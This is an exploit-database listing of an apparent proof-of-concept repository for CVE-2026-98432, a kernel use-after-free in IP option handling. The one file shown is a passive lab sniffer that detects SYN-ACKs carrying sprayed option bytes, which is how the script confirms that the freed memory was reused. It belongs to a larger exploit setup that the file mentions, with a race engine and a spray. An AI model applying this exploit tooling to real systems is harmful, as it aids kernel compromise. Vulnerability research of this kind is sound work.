Exploit database

GH-0238f880313568703322738902279403

xen0bit/netprobe-cve-2026-98432

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98432

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files16
xen0bit/netprobe-cve-2026-98432Revision 19264e54b4a5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/guest/sniff_uaf.py

Python · 1,827 bytes
#!/usr/bin/env python3
"""Passive wire sniffer for the natural-timing experiment.

Watches the tap for a SYN-ACK whose IP-option block is the lab spray
(`42 04 be ef` ...) instead of the echoed timestamp. Such a SYN-ACK can only
exist if the kernel's ip_options_build() memcpy read a freed-and-reused
ip_options_rcu slot - the wire-visible use-after-free.

Runs independently of the race engine (its own AF_PACKET socket), so a
SYN-ACK delayed by a host preemption is still captured.

usage: sudo .venv/bin/python lab/guest/sniff_uaf.py --iface tap0 [--nonce be ef]
"""
from __future__ import annotations

import argparse
import sys
import time
from pathlib import Path

sys.path.insert(0, str(Path(__file__).resolve().parents[2] / "src"))

from netprobe.l4.link import SpoofLink  # noqa: E402


def main() -> int:
    p = argparse.ArgumentParser()
    p.add_argument("--iface", default="tap0")
    p.add_argument("--port", type=int, default=9100)
    p.add_argument("--nonce", default="beef")
    args = p.parse_args()
    marker = bytes([0x42, 0x04]) + bytes.fromhex(args.nonce)

    link = SpoofLink(args.iface, "10.0.0.2", "10.0.0.99")
    hits = 0
    print(f"sniffing {args.iface} for SYN-ACKs from :{args.port} with {marker.hex()}",
          flush=True)
    try:
        while True:
            for s in link.drain():
                if s.src_port != args.port or not s.is_synack:
                    continue
                if s.ip_options.startswith(marker):
                    hits += 1
                    print(f"HIT #{hits} dst_port={s.dst_port} opts={s.ip_options.hex(' ')}",
                          flush=True)
            time.sleep(0.0002)
    except KeyboardInterrupt:
        print(f"hits={hits}")
    finally:
        link.close()
    return 0


if __name__ == "__main__":
    raise SystemExit(main())